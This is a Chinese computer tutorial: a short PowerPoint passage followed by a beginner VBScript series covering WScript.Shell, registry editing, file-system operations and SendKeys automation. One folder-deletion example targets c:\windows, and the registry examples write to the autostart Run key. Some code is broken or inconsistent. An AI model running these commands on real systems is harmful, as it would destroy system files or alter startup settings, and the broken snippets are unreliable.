在幻燈片視圖中,單擊"常用"工具欄上" "按鈕,在彈出的"新幻燈片"對話框中選擇帶有組織結(jié)構圖的自動版式 ,單擊"確定"按鈕,新幻燈片上有兩個占位符,單擊上面的占位符輸入標題,雙擊下面的占位符,進入組織結(jié)構圖工作環(huán)境,如圖20所示。在組織結(jié)構圖的菜單條和工具欄中提供了完成組織結(jié)構圖全部工作的命令,供編輯和格式化組織結(jié)構圖使用。圖中的每一個圖框代表一個結(jié)構項,可以在圖框中輸入文字,對圖框進行修改,增加或去掉一些圖框。各個圖框之間有特定的關系,圖框下面有附屬圖框的稱為主管,被管理者稱為部下,一個主管可以有多個部下,屬于同一個主管的全部圖框稱為一個工作組。在一個組織結(jié)構圖中,主管的圖框永遠不小于其下屬的圖框大小,同一級別的各圖框大小相同。
向已存在的幻燈片中增加組織結(jié)構圖
若想使一張幻燈片既包含一幅組織結(jié)構圖,又包含其他對象,可以向一張已存在的幻燈片中添加組織結(jié)構圖。一種方法是打開"插入"菜單,選擇"圖片/組織結(jié)構圖"命令;另一種方法是打開"插入"菜單,選擇"對象"命令,彈出"插入對象"對話框,在對象類型列表中雙擊"MS 組織結(jié)構圖 2.0"。兩者都將啟動"Microsoft 組織結(jié)構圖",進入所示的窗口,即可開始制作組織結(jié)構圖。
輸入文本
打開Microsoft 組織結(jié)構圖后,系統(tǒng)默認的組織結(jié)構圖有兩層四個圖框,圖框中的文字為預設文字,用戶可以修改。在組織結(jié)構圖上部選擇"圖表標題"占位符,即可在該位置設置插入點并輸入組織結(jié)構圖的標題,還可以在標題行的末尾按"Enter"鍵來增加子標題。
單擊圖框?qū)⑵溥x中,再單擊一次出現(xiàn)插入點,然后就可以向圖框中輸入文本。每個圖框中最多可輸入4行,包括名字、職稱和兩行注解。在圖框中輸入一行內(nèi)容后,按"Enter"鍵或"Tab"鍵或"↓"鍵輸入下一行,按"Ctrl+←"鍵移到左邊的圖框,按"Ctrl+→"移到右邊的圖框,按"Ctrl+↑"鍵移到上一級圖框,按"Ctrl+↓"移到下一級圖框。
如果要在組織結(jié)構圖的空白位置添加一些文字,單擊工具欄中" "按鈕,然后在適當?shù)奈恢脝螕簦纯砷_始輸入文本。
添加多媒體對象
在幻燈片上添加聲音和影片的方法類似。如在幻燈片視圖中打開"插入"菜單,選擇"影片和聲音"命令,在級聯(lián)菜單中選擇聲音的來源,可以利用剪輯庫中提供的聲音、已存為文件的聲音、CD樂曲或現(xiàn)場錄制聲音。假如選擇"播放CD樂曲",彈出"播放選項"對話框,鍵入"開始"和"結(jié)束"所需磁道和時間,單擊"確定"按鈕,當前幻燈片上出現(xiàn)一個CD圖標" "。在添加樂曲時不用插入樂曲CD盤,只有播放時才需要光盤。
—為什么要使用Vbs?
在Windows中,學習計算機操作也許很簡單,但是很多計算機工作是重復性勞動,例如你每周也許需要對一些計算機文件進行復制、粘貼、改名、刪除,也許你每天啟動計算機第一件事情就是打開WORD,切換到你喜愛的輸入法進行文本編輯,同時還要播放優(yōu)美的音樂給工作創(chuàng)造一個舒心的環(huán)境,當然也有可能你經(jīng)常需要對文本中的某些數(shù)據(jù)進行整理,把各式各樣的數(shù)據(jù)按照某種規(guī)則排列起來……。這些事情重復、瑣碎,使人容易疲勞。
第三方軟件也許可以強化計算機的某些功能,但是解決這些重復勞動往往事倍功半,我也嘗試過使用計算機語言編寫程序來解決這些問題,但是隨之而來的命令、語法、算法、系統(tǒng)框架和類庫常常讓我覺得這樣是否有必要,難道就是因為豬毛比較難拔,所以我就要去學習機械,為自己設計一個拔豬毛機(?)嗎?
Vbs是一種Windows腳本,它的全稱是:Microsoft Visual Basic Script Editon.(微軟公司可視化BASIC腳本版),VBS是Visual Basic的的一個抽象子集,是系統(tǒng)內(nèi)置的,用它編寫的腳本代碼不能編譯成二進制文件,直接由Windows系統(tǒng)執(zhí)行(實際是一個叫做宿主host的解釋源代碼并執(zhí)行),高效、易學,但是大部分高級語言能干的事情,它基本上都具備,它可以使各種各樣的任務自動化,可以使你從重復瑣碎的工作中解脫出來,極大的提高工作效率。
我個人認為Vbs腳本其實就是一種計算機編程語言,但是由于缺少計算機程序設計語言中的部分要素,對于事件的描述能力較弱,所以稱為腳本,它最方便的地方就是提供了對COM對象的簡便支持。那么什么是COM對象呢?
我這樣理解,COM對象就是一些具有特定函數(shù)功能項程序模塊,他們一般以ocx或者dll作為擴展名,你只要找到包含有你需要的功能的模塊文件,并在腳本中規(guī)范的引用,就可以實現(xiàn)特定的功能,也就是說Vbs腳本就是調(diào)用現(xiàn)成的"控件"作為對象,用對象的屬性和方法實現(xiàn)目的,完全免去了編寫代碼、設計算法等等麻煩。說白了,我不是覺得拔豬毛麻煩么?我發(fā)覺xx機(比如真空離心器)有一個功能可以實現(xiàn)脫毛,ok,我把它拿來給豬脫毛。什么?大材小用?太浪費資源了?天哪,那是計算機芯片的事情,死道友不死貧道,反正我的事情是方便快速的解決了,這就行了。
最方便的是它甚至不需要專門的開發(fā)環(huán)境,在你的計算機中,只要有notepad,就可以編寫Vbs腳本了,并且可以直接執(zhí)行。
Vbs腳本編程簡明教程之二
如何開始第一個Vbs腳本?
就像多數(shù)計算機教程一樣 ,我們從"Hello World!"程序開始我們的練習。什么?不知道是什么意思?就是說大部分的計算機程序設計教程開篇入門都是編寫一個小程序,執(zhí)行這個程序的結(jié)果就是在計算機的屏幕上或者dos窗口中顯示一行文字:Hello World!好了,我們開始吧。
打開你的"記事本"程序,在編輯窗口填寫:
msgbox "Hello World!"
然后用鼠標單擊"文件"菜單,單擊"保存",把"保存在"一欄設為桌面,在"文件名"一欄中填寫kk.vbs,單擊"保存"就可以了。然后最小化"記事本"窗口,在桌面上尋找你剛剛保存的kk.vbs,然后雙擊。看到彈出的對話框了沒有,單擊"確定",對話框消失了。難看了點,不過確實是你編寫的第一個腳本程序。
說明之一:上面的操作中,保存位置放在桌面,僅僅是為了執(zhí)行方便,你保存到其他的地方完全沒有問題,只要你知道你保存在什么地方就可以了,什么?是廢話,自己保存的當然知道保存在那里了。不,自己保存的文件自己找不到的人我見的多了去了。文件名你可以隨意填寫,不一定非要寫kk,只要符合Windows的文件命名規(guī)則就可以了,但是擴展名必須是vbs,什么?不知道什么是擴展名?就是文件名中"."后的那部分,簡單說,就是vbs腳本文件命名時必須是:xxx.vbs,其中xxx你隨意。
說明之二:在記事本編輯窗口中寫的這行是什么意思?
Msgbox是VBS內(nèi)建的函數(shù),每一個函數(shù)都可以完成一定的功能,你只需要按照語法要求,在函數(shù)的相應部分填寫相應的內(nèi)容就可以了,這部分內(nèi)容我們稱為參數(shù),當然函數(shù)執(zhí)行的結(jié)果我們稱為返回值,一個函數(shù)可以有返回值也可以沒有,可以有參數(shù)也可以沒有。你不用了解函數(shù)是怎么運作的,只要了解這個函數(shù)能干什么就行了。
Msgbox語法:msgbox "對話框內(nèi)容", , "對話框的標題"
你不妨用記事本打開剛才的文件在編輯窗口中輸入:
msgbox "Hello World!" , , "系統(tǒng)提示"
執(zhí)行一下,看看效果和位置。
說明之三:如果執(zhí)行失敗,看看你的標點符號,所有的標點符號必須是在英文狀態(tài)下輸入的。當然,這個腳本實在是太簡單了,甚至連最簡單的交互都沒有,所以你可以把腳本這樣修改一下:
Dim name
name=Inputbox("請輸入你的名字:","名稱")
Msgbox name, , "您的名字是"
保存執(zhí)行一下,看到彈出的對話框了么?填入你的名字,點確定,看到結(jié)果了嗎?
說明之一:第一句是定義變量,dim是定義變量的語句
其格式為:dim 變量1,變量2……,
Vbs只有一種變量類型,所以不用聲明變量類型。系統(tǒng)會自動分辨變量類型。
說明之二:inputbox是VBS內(nèi)建的函數(shù),可以接受輸入的內(nèi)容,其語法格式為:
Inputbox("對話框內(nèi)容","對話框標題")
第二句的意思是接受用戶的輸入,并把輸入結(jié)果傳遞給變量name。
好了,到此腳本基本的輸入輸出函數(shù)都有了,已經(jīng)可以完成一些比較簡單的功能了,你可以編寫一個簡單的腳本,然后拷貝的"程序"—>"啟動"中,然后重新啟動計算機看看結(jié)果
Vbs腳本編程簡明教程之三
Vbs的基本語法(牢記)
VBScript基礎知識
一、變量
1、所有單引號后面的內(nèi)容都被解釋為注釋。
2、在VBScript中,變量的命名規(guī)則遵循標準的命名規(guī)則,需要注意的是:在VBScript中對變量、方法、函數(shù)和對象的引用是不區(qū)分大小寫的。在申明變量時,要顯式地申明一個變量,需要使用關鍵字DIm來告訴VBScript你要創(chuàng)建一個變量,并將變量名稱跟在其后。申明多個同類型變量,可以用逗號分隔。注意:VBScript中不允許在申明變量的時候同時給變量賦值。但是允許在一行代碼內(nèi)同時對兩個變量進行賦值,中間用冒號分隔。
3、你可以使用Option Explicit來告訴宿主變量必須先聲明后使用。
4、VBScript在定義時只有一種變量類型,在實際使用中需要使用類型轉(zhuǎn)換函數(shù)來將變量轉(zhuǎn)換成相應的變量類型。
Cbool函數(shù)將變量轉(zhuǎn)換成布爾值;
Cbyte函數(shù)將變量轉(zhuǎn)換為0到255之間的整數(shù)。
Ccur函數(shù)、Cdbl函數(shù)和Csng函數(shù)將變量轉(zhuǎn)換為浮點數(shù)值,前者只精確到小數(shù)點后四位,后兩者要更加精確,數(shù)值的范圍也要大的多。
Cdate函數(shù)將變量轉(zhuǎn)換為日期值。
Cint函數(shù)和Clng函數(shù)將變量轉(zhuǎn)換為整數(shù),后者的范圍比前者要大的多。
Cstr函數(shù)將變量轉(zhuǎn)換為字符串。
二、數(shù)組
數(shù)組的定義與變量非常類似,只需要在變量后描述這個數(shù)組的個數(shù)和維數(shù)。需要注意的是:數(shù)組的下標總是從0開始,而以數(shù)組定義中數(shù)值減一結(jié)束。也就是說你以要定義一個有十個數(shù)據(jù)的數(shù)組,將這樣書寫代碼:dImarray(9),同樣,當你要訪問第五個元素時,實際的代碼是array(4)。當然,你可以通過不指定數(shù)組的個數(shù)和維數(shù)來申明動態(tài)數(shù)組。等到數(shù)組的個數(shù)和維數(shù)固定后,使用關鍵字redim來改變數(shù)組。注意,在改變數(shù)組的大小時,數(shù)組的數(shù)據(jù)會被破壞,使用關鍵字preserve來保護數(shù)據(jù)。例如:
RedIm空格preserve空格array括號個數(shù)逗號維數(shù)括號
三、操作符
在VBScript運算符中,加減乘除都是我們常用的符號,乘方使用的是 ^ ,取模使用的Mod。
在比較操作符中,等于、小于、大于、小于等于、大于等于都與我們常用的符號是一致的,而不等于是小于和大于連用。
邏輯運算符為:和操作—>AND 非操作—>NOT 或操作—>OR;
你可以使用操作符 + 和操作符 & 來連接字符串,一般使用&操作符;
另外還有一個比較特殊的操作符Is用來比較對象,例如按鈕對象,如果對象是同一類型,結(jié)果就是真,如果對象不是同一類型,結(jié)果就是假。
四、條件語句主要有if……then語句和select case語句兩種形式
在if……then語句中,其基本形式為:
If 條件 then
處理條件的語句;
……
Endif
基本形式只能對單個條件進行驗證,如果有兩個條件,則需要在基本形式中添加單行語句else,如果還有更多的條件需要驗證,則需要添加語句
Elseif 條件 then
處理條件語句
在select case語句中,其基本形式為:
Select case 變量
Case 條件值
處理條件語句
并對上兩句進行重復
最后一句應為
case else
處理語句
當然不要忘記將條件結(jié)束語句End select放在最后一行
注意:在執(zhí)行字符串比較時,需要特別注意大小寫,一般情況下,我們在比較前,使用lcase函數(shù)將字符串轉(zhuǎn)換成小寫,使用ucase函數(shù)將字符串轉(zhuǎn)換成大寫大寫。
五、循環(huán)控制語句
循環(huán)控制語句有for……next循環(huán)、for……each循環(huán)、do……while循環(huán)、do……until循環(huán)、while循環(huán)五種形式。
在使用循環(huán)控制語句前,首先要對循環(huán)條件進行判斷,如果循環(huán)次數(shù)是有固定次數(shù)的,那么使用For……next循環(huán),其結(jié)構為:
For 計數(shù)器變量=開始計數(shù)值 to 最后計數(shù)值
執(zhí)行循環(huán)體
Next
如果是需要對數(shù)組或?qū)ο蠹现械拿恳粋€元素進行判斷,則需要使用for……each循環(huán),其結(jié)構為:
For each 循環(huán)計數(shù)變量 in 要查看的對象或數(shù)組
執(zhí)行處理語句
Next
注意:在上述兩種循環(huán)中隨時可以使用exit for來退出循環(huán)
如果你希望在條件滿足時執(zhí)行一段代碼則使用do……while語句,結(jié)構為:
Do while 條件
執(zhí)行循環(huán)體
Loop
如果你希望在條件不滿足時執(zhí)行代碼,則使用do……until語句,結(jié)構為:
Do until 條件
執(zhí)行循環(huán)體
Loop
當然,在這兩種循環(huán)語句中,你可以使用exit do來退出循環(huán)
最后一種循環(huán)語句是條件滿足時一直執(zhí)行循環(huán),
While 條件
執(zhí)行循環(huán)體
Wend
六、使用過程
常用的過程有兩種,一種為函數(shù),給調(diào)用者返回值,一種為子程序,無返回值,還有一種叫事件的特殊子程序,用的比較少。
函數(shù)的基本定義方法為:
Function 函數(shù)名稱(參數(shù)列表)
函數(shù)代碼
函數(shù)名稱=某值 ‘用來返回值
end function
子程序一些都類似,不過沒有返回值
注意:盡管在定義子程序的時候,參數(shù)列表要加括號,但在調(diào)用子程序的時候,參數(shù)列表不加括號,括號只在函數(shù)中使用。另外,子程序不能在表達式中使用。
而函數(shù)只能出現(xiàn)在賦值語句的右邊,或者表達式中,函數(shù)不能直接使用,如果必須直接使用函數(shù),則必須使用call語句調(diào)用,并取消返回值。
Vbs腳本編程簡明教程之四
如何利用Vbs運行外部程序?
Vbs只提供了編程的一個基本框架,用戶可以使用Vbs來定義變量、過程和函數(shù),vbs也提供了一些內(nèi)部函數(shù)和對象,但是Vbs沒有提供任何命令來訪問Windows系統(tǒng)內(nèi)部的部件,但是值得慶幸的是,Vbs雖然不能自己完成這些任務,但是它提供了一條極為方便、功能也相當強的命令——CreateObject,這條命令可以訪問windows系統(tǒng)內(nèi)安裝的所有com對象,并且可以調(diào)用這些部件中存放的命令。
于是問題解決了,比如說,我手頭有1000個小文本,我首先要對每一個文本的語法進行查錯和修改,然后按照預先定義好的規(guī)則對這些文本進行排序,最后將這些文本合并成為一個文件。正常情況下,我們需要把打開第一個小文本,然后把它復制到WORD中,然后利用里面的除錯功能進行除錯和修改,然后再導入到EXCEL中進行排序,將這個過程重復1000遍,然后再將所有得到的文本復制到一個大文本中。實在是太枯燥、工作量太大了。有了Vbs和CreateObject,問題得到解決,我只需要找到相應的模塊,調(diào)用相應的功能就可以了,作為腳本,把一個枯燥的過程重復1000次,本就是它的拿手好戲。
好了,我們走入正題,從最簡單的——只啟動一個程序開始。
WSH也就是用來解析Vbs的宿主,本身包含了幾個個常用對象:
1、Scripting.FileSystemObject —> 提供一整套文件系統(tǒng)操作函數(shù)
2、Scripting.Dictionary —> 用來返回存放鍵值對的字典對象
3、Wscript.Shell —> 提供一套讀取系統(tǒng)信息的函數(shù),如讀寫注冊表、查找指定文件的路徑、讀取DOS環(huán)境變量,讀取鏈接中的設置
4、Wscript.NetWork —> 提供網(wǎng)絡連接和遠程打印機管理的函數(shù)。(其中,所有Scripting對象都存放在SCRRUN.DLL文件中,所有的Wscript對象都存放在WSHOM.ocx文件中。)
現(xiàn)在我們需要的是第三個對象,好了,讓我們先連接一下對象看看,在記事本的編輯窗口中輸入:
Option ExplicitDim objShellSet objShell=CreateObject("Wscript.Shell")objShell.Run "notepad"
同樣,保存執(zhí)行。那么看到了一個什么樣的結(jié)果呢?在桌面上又打開了一個記事本。
說明之一:Set是Vbs指令,凡是將一對象引用賦給變量,就需要使用set關鍵字。那么什么是對象引用呢?凡是字符串、數(shù)值、布爾值之外的變量都是對象引用。Objshell是變量名,可以隨意修改。
說明之二:凡是正確引用的對象,其本身內(nèi)置有函數(shù)和變量,其引用方法為在變量后加". ",后緊跟其實現(xiàn)功能的函數(shù)就可以了。Objshell.run 的意思就是調(diào)用Wscript.shell中的運行外部程序的函數(shù)——run,notepad是記事本程序的文件名。當然你也可以改成"calc",這是計算器的文件名,winword是word的文件名,等等吧,所有可執(zhí)行文件的文件名都可以。但是需要注意的是,如果你要執(zhí)行的可執(zhí)行文件存放的地方不是程序安裝的常用路徑,一般情況下,需要提供合法的路徑名,但是run在運行解析時,遇到空格會停止,解決的方法是使用雙引號,例如:在我的機器上運行qq,代碼為:
objshell.run """C:\Program Files\QQ2006\QQ.exe""" ‘注:三個引號
好, 我們再進一步,啟動兩個程序會如何呢?
輸入如下代碼:
Set objShell=CreateObject("Wscript.Shell")
objShell.Run "notepad"
objShell.Run "calc"
執(zhí)行會如何呢?兩個程序基本上同時啟動了。如果我們需要先啟動notepad再啟動calc將如何呢?很簡單在需要順序執(zhí)行的代碼后加 , , True參數(shù)就可以了。
好了輸入代碼:
Set objShell=CreateObject("Wscript.Shell")
objShell.Run "notepad" ,,true
objShell.Run "calc"
看看執(zhí)行的結(jié)果怎么樣吧!
總結(jié):run函數(shù)有三個參數(shù),第一個參數(shù)是你要執(zhí)行的程序的路徑,第二個程序是窗口的形式,0是在后臺運行;1表示正常運行;2表示激活程序并且顯示為最小化;3表示激活程序并且顯示為最大化;一共有10個這樣的參數(shù)我只列出了4個最常用的。 第三個參數(shù)是表示這個腳本是等待還是繼續(xù)執(zhí)行,如果設為了true,腳本就會等待調(diào)用的程序退出后再向后執(zhí)行。
其實,run做為函數(shù),前面還有一個接受返回值的變量,一般來說如果返回為0,表示成功執(zhí)行,如果不為0,則這個返回值就是錯誤代碼,可以通過這個代碼找出相應的錯誤。
Vbs腳本編程簡明教程之五
錯誤處理
引發(fā)錯誤的原因有很多,例如用戶輸入了錯誤類型的值,或者腳本找不到必需的文件、目錄或者驅(qū)動器,我們可以使用循環(huán)技術來處理錯誤,但是VBS本身也提供了一些基本技術來進行錯誤的檢測和處理。
1、最常見的錯誤是運行時錯誤,也就是說錯誤在腳本正在運行的時候發(fā)生,是腳本試圖進行非法操作的結(jié)果。例如零被作為除數(shù)。在vbs中,任何運行時錯誤都是致命的,此時,腳本將停止運行,并在屏幕上顯示一個錯誤消息。你可以在腳本的開頭添加
On Error Resume Next
這行語句告訴vbs在運行時跳過發(fā)生錯誤的語句,緊接著執(zhí)行跟在它后面的語句。
發(fā)生錯誤時,該語句將會把相關的錯誤號、錯誤描述和相關源代碼壓入錯誤堆棧。
2、雖然On Error Resume Next語句可以防止vbs腳本在發(fā)生錯誤時停止運行,但是它并不能真正處理錯誤,要處理錯誤,需要在腳本中增加一些語句,用來檢查錯誤條件并在錯誤發(fā)生時處理它。
vbscript提供了一個err對象,他有兩個方法clear,raise,5個屬性:description,helpcontext,helpfile,number,source
err對象不用引用實例,可以直接使用,例如:
on error resume next
a=11
b=0
c=a/b
if err.number<>0 then
wscript.echo err.number & err.description & err.source
end if
Vbs腳本編程簡明教程之六
修改注冊表
Vbs中修改注冊表的語句主要有:
1、讀注冊表的關鍵詞和值:
可以通過把關鍵詞的完整路徑傳遞給wshshell對象的regread方法。例如:
set ws=wscript.createobject("wscript.shell")
v=ws.regread("HKLM\Software\7-Zip\Path ")
wscript.echo v
2、寫注冊表
使用wshshell對象的regwrite方法。例子:
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
set ws=wscript.createobject("wscript.shell")
t=ws.regwrite(path & "jj","hello")
這樣就把
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj這個鍵值改成了hello.不過要注意:這個鍵值一定要預先存在。
如果要創(chuàng)建一個新的關鍵詞,同樣也是用這個方法。
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\"
set ws=wscript.createobject("wscript.shell")
val=ws.regwrite(path,"nenboy")
val=ws.regread(path)
wscript.echo val
3、刪除關鍵字和值
使用regdelete方法,把完整的路徑傳遞給regdelete就可以了
例如
val=ws.regdel(path)
注意,如果要刪除關鍵詞的值的話 一定要在路徑最后加上"\",如果不加斜線,就會刪除整個關鍵詞。
Vbs腳本編程簡明教程之七
FSO的常見對象和方法
文件系統(tǒng)是所有操作系統(tǒng)最重要的部分之一,腳本經(jīng)常會需要對文件及文件夾進行訪問和管理,在Vbs中對桌面和文件系統(tǒng)進行訪問的頂級對象是FileSystemObject(FSO),這個對象特別復雜,是vbs進行文件操作的核心。此節(jié)內(nèi)容應了如指掌。
FSO包含的常見對象有:
Drive對象:包含儲存設備的信息,包括硬盤、光驅(qū)、ram盤、網(wǎng)絡驅(qū)動器Drives集合:提供一個物理和邏輯驅(qū)動器的列表 File 對象:檢查和處理文件 Files 集合:提供一個文件夾中的文件列表 Folder對象:檢查和處理文件夾 Folders集合:提供文件夾中子文件夾的列表 Textstream對象:讀寫文本文件
FSO的常見方法有:
BulidPath:把文件路徑信息添加到現(xiàn)有的文件路徑上CopyFile:復制文件CopyFolder:復制文件夾CreateFolder:創(chuàng)建文件夾CreateTextFile:創(chuàng)建文本并返回一個TextStream對象DeleteFile:刪除文件DeleteFolder:刪除文件夾及其中所有內(nèi)容DriveExits:確定驅(qū)動器是否存在FileExits:確定一個文件是否存在FolderExists:確定某文件夾是否存在GetAbsolutePathName:返回一個文件夾或文件的絕對路徑 GetBaseName:返回一個文件或文件夾的基本路徑 GetDrive:返回一個dreve對象 GetDriveName:返回一個驅(qū)動器的名字 GetExtensionName:返回擴展名 GetFile:返回一個file對象 GetFileName:返回文件夾中文件名稱 GetFolder:返回一個文件夾對象GetParentFolderName:返回一個文件夾的父文件夾 GetSpecialFolder:返回指向一個特殊文件夾的對象指針 GetTempName:返回一個可以被createtextfile使用的隨機產(chǎn)生的文件或文件夾的名稱 MoveFile:移動文件MoveFolder:移動文件夾OpenTextFile:打開一個存在的文件并返回一個TextStream對象Vbs腳本編程簡明教程之八
FSO中文件夾的基本操作
1、使用fso
由于fso不是wsh的一部分,所以我們需要建立他的模型
例如set fs=wscript.createobject("scripting.filesystemobject")
這樣就建立了fso的模型。如果要釋放的話也很簡單,set fs=nothing
2、使用文件夾
在創(chuàng)建前,我們一般需要檢查該文件夾是否存在例如:
dim fs,s //定義fs、s兩個變量
set fs=wscript.createobject("scripting.filesystemobject") //fs為FSO實例
if (fs.folderexists("c:\temp")) then //判斷c:\temp文件夾是否存在
s="is available"
else
s="not exist"
set foldr=fs.createfolder("c:\temp") //不存在則建立
end if
刪除:set fs=wscript.createobject("scripting.filesystemobject") fs.deletefolder("c:\windows") 拷貝: set fs=wscript.createobject("scripting.filesystemobject") fs.copyfolder "c:\data" "d:\data" 注意:如果c:\data 和d:\data都存在,腳本會出錯,復制也就會停止,如果要強制覆蓋,使用fs.copyfolder "c:\data" "d:\data",true 移動:set fs=wscript.createobject("scripting.filesystemobject") fs.movefolder "c:\data" "d:\data" 我們可以使用通配符,來方便操作:
例如, fs.movefolder :c:\data\te*" , "d:\working"
注意:在目的路徑最后沒有使用"\" 也就是說我沒有這樣寫:
fs.movefolder c:\data\te*" , "d:\working\"
這樣寫的話,如果d:\working 目錄不存在,windows就不會為我們自動創(chuàng)建這個目錄。
注意:上面我們所舉的例子都是在利用fso提供的方法,如果使用folder對象也完全是可以的:
set fs=wscript.createobject("scripting.filesystemobject") set f=fs.getfolder("c:\data") f.delete //刪除文件夾c:\data。如果有子目錄,也會被刪除 f.copy "d:\working",true //拷貝到d:\working f.move "d:\temp" //移動到d:\temp
3、特殊文件夾
一般指的就是系統(tǒng)文件夾:\windows\system32, 臨時文件夾,windows文件夾,在前幾篇的時候,我們提過一下:例如
set fs=wscript.createobject("scripting.filesystemobject")
set wshshell=wscript.createobject("wscript.shell")
osdir=wshshell.expandenvironmentstrings("%systemroot%")
set f=fs.getfolder(osdir)
wscript.echo f
當然,還有簡單的方法 那就是使用getspecialfolder()
這個方法使用3種值:
0 表示windows文件夾,相關常量是windowsfolder
1 系統(tǒng)文件夾,相關常量是systemfolder
2 臨時目錄,相關常量temporaryfolder
例如:
set fs=wscript.createobject("scripting.filesystemobject") set wfolder=fs.getspecialfolder(0) ‘返回windows目錄 set wfolder=fs.getspecialfolder(1) ‘返回system32\ set wfolder=fs.getspecialfolder(2)'返回臨時目錄
Vbs腳本編程簡明教程之九——1
妙用SendKeys簡化重復操作1
每次開機的時候,你想自動登陸你的QQ或者博客嗎?巧妙使用VBS中的SendKeys命令(這個命令的作用就是模擬鍵盤操作,將一個或多個按鍵指令發(fā)送到指定Windows窗口來控制應用程序運行),可以極大的方便我們的常用操作。其使用格式為:
Object.SendKeys string其中:
Object:為WshShell對象,即腳本的第一行為:
Set WshShell=WScript.CreateObject("WScript.Shell")
將Object替換為WshShell
"string":表示要發(fā)送的按鍵指令字符串,需要放在英文雙引號中。它包含如下內(nèi)容:
1.基本鍵:一般來說,要發(fā)送的按鍵指令都可以直接用該按鍵字符本身來表示,例如要發(fā)送字母"x",使用"WshShell.SendKeys "x""即可。當然,也可直接發(fā)送多個按鍵指令,只需要將按鍵字符按順序排列在一起即可,例如,要發(fā)送按鍵"cfan",可以使用
"WshShell.SendKeys "cfan""。
2.特殊功能鍵:對于需要與Shift、Ctrl、Alt三個控制鍵組合的按鍵,SendKeys使用特殊字符來表示:Shift —— +;Ctrl —— ^;Alt —— %
如要發(fā)送的組合按鍵是同時按下Ctrl+E,需要用"WshShell.SendKeys "^e""表示,如果要發(fā)送的組合按鍵是按住Ctrl鍵的同時按下E與C兩個鍵,這時應使用小括號把字母鍵括起來,書寫格式為"WshShell.SendKeys "^(ec)"",這里要注意它與"WshShell.SendKeys "^ec""的區(qū)別,后者表示組合按鍵是同時按住Ctrl和E鍵,然后松開Ctrl鍵,單獨按下"C"字母鍵。
由于"+"、"^"這些字符用來表示特殊的控制按鍵了,如何表示這些按鍵呢?只要用大括號括住這些字符即可。例如,要發(fā)送加號"+",可使用"WshShell.SendKeys "{+}""。另外對于一些不會生成字符的控制功能按鍵,也同樣需要使用大括號括起來按鍵的名稱,例如要發(fā)送回車鍵,需要用"WshShell.SendKeys "{ENTER}""表示,發(fā)送向下的方向鍵用
"WshShell.SendKeys "{DOWN}""表示。
如果需要發(fā)送多個重復的單字母按鍵,不必重復輸入該字母,SendKeys允許使用簡化格式進行描述,使用格式為"{按鍵 數(shù)字}"。例如要發(fā)送10個字母"x",則輸入"WshShell.SendKeys "{x 10}""即可。
例一:WshShell.SendKeys "^{ESC}u"
代碼的含義為:按下Ctrl+Esc組合鍵(相當于按Win鍵)打開"開始"菜單,接著按U鍵打開"關機"菜單。
例二:讓VBS腳本自動在記事本中輸入一行文字"hello, welcome to cfan"。
Dim WshShellSet WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run "notepad"WScript.Sleep 2000 //本行的含義為是腳本暫停2秒,給notepad一個打開的時間,有時時間太短可能導致后面的字符無法進入編輯區(qū)WshShell.AppActivate "無標題 - 記事本"//AppActivate為尋找可執(zhí)行程序的標題框,"無標題-記事本"內(nèi)容你的自己打開看一下WshShell.SendKeys "hello, welcome to cfan"作業(yè)1:讓腳本自動輸入下面兩段小短句This is the most wonderful day of my lifebecause I'm here with you now
作業(yè)2:讓腳本在輸入短句后自動關閉記事本,并保存文件名為"test",注意關閉記事本可以直接使用組合按鍵Alt+F4來實現(xiàn)。
Vbs腳本編程簡明教程之九——2
妙用SendKeys簡化重復操作2
例三:制作能自動定時存盤的記事本
我們最常用的記事本沒有Word、WPS那樣的自動定時存盤功能,其實利用VBS腳本再加上SendKeys命令,就能彌補這個遺憾。打開記事本,輸入以下內(nèi)容(為容易描述和分析,把代碼分為四個部分):
'第一部分:定義變量和對象Dim WshShell, AutoSaveTime, TXTFileNameAutoSaveTime=300000Set WshShell=WScript.CreateObject("WScript.Shell")TXTFileName=InputBox("請輸入你要創(chuàng)建的文件名(不能用中文和純數(shù)字):")'第二部分:打開并激活記事本W(wǎng)shShell.Run "notepad"WScript.Sleep 200WshShell.AppActivate "無標題 - 記事本"'第三部分:用輸入的文件名存盤WshShell.SendKeys "^s"WScript.Sleep 300WshShell.SendKeys TXTFileNameWScript.Sleep 300WshShell.SendKeys "%s"WScript.Sleep AutoSaveTime'第四部分:自動定時存盤While WshShell.AppActivate (TXTFileName)=TrueWshShell.SendKeys "^s"WScript.Sleep AutoSaveTimeWendWScript.Quit
將其保存為記事本.vbs,以后要使用記事本時,都通過雙擊這個腳本文件來打開。
程序說明:這個腳本的基本思路是定時向記事本發(fā)送Ctrl+S這個存盤組合鍵。
第一部分:定義了腳本中需要用到的變量和對象。"AutoSaveTime"變量用來設置自動存盤間隔,單位為毫秒,這里設置為5分鐘。"TXTFileName"變量通過輸入框取得你要創(chuàng)建的文本文件名稱。
第二部分:運行記事本,對于Windows本身提供的程序,比如計算器等,可直接在"WshShell.Run"后輸入程序名稱,如"calc",對于非系統(tǒng)程序,則可輸入完全路徑,但要注意使用8.3格式輸入,比如""D:\Progra~1\Tencent\QQ.exe""。
第三部分:這里用SendKeys命令執(zhí)行了這樣的操作流程(請注意每個操作之間延時命令的使用):在記事本中按Ctrl+S組合鍵→彈出保存文件的窗口→輸入文件名→按Alt+S組合鍵進行保存(默認保存在"我的文檔"目錄)。
第四部分:定時存盤的關鍵,通過"While……Wend"這個當條件為"真"時循環(huán)命令,實現(xiàn)自動存盤代碼"WshShell.SendKeys "^s""和定時代碼"WScript.Sleep AutoSaveTime"的重復執(zhí)行。因為不能讓這個定時存盤循環(huán)一直執(zhí)行,退出記事本后,必須自動退出腳本并結(jié)束循環(huán),所以設計了一個循環(huán)判斷條件"WshShell.AppActivate TXTFileName=True",當記事本運行中時,可以激活記事本窗口,這個條件運行結(jié)果為"True",定時存盤循環(huán)一直執(zhí)行,退出記事本后,腳本無法激活記事本窗口,就會跳出循環(huán),執(zhí)行"Wend"后面的"WScript.Quit"退出腳本。
例四:快速登陸QQ軟件。假設QQ號碼是:10001,密碼是:123456,隱身登陸:
set ws=wscript.createobject("wscript.shell")
ws.run "C:\Progra~1\Tencent\QQ\QQ.exe",0
wscript.Sleep 2000
ws.AppActivate "QQ用戶登錄"
ws.SendKeys "7015247"
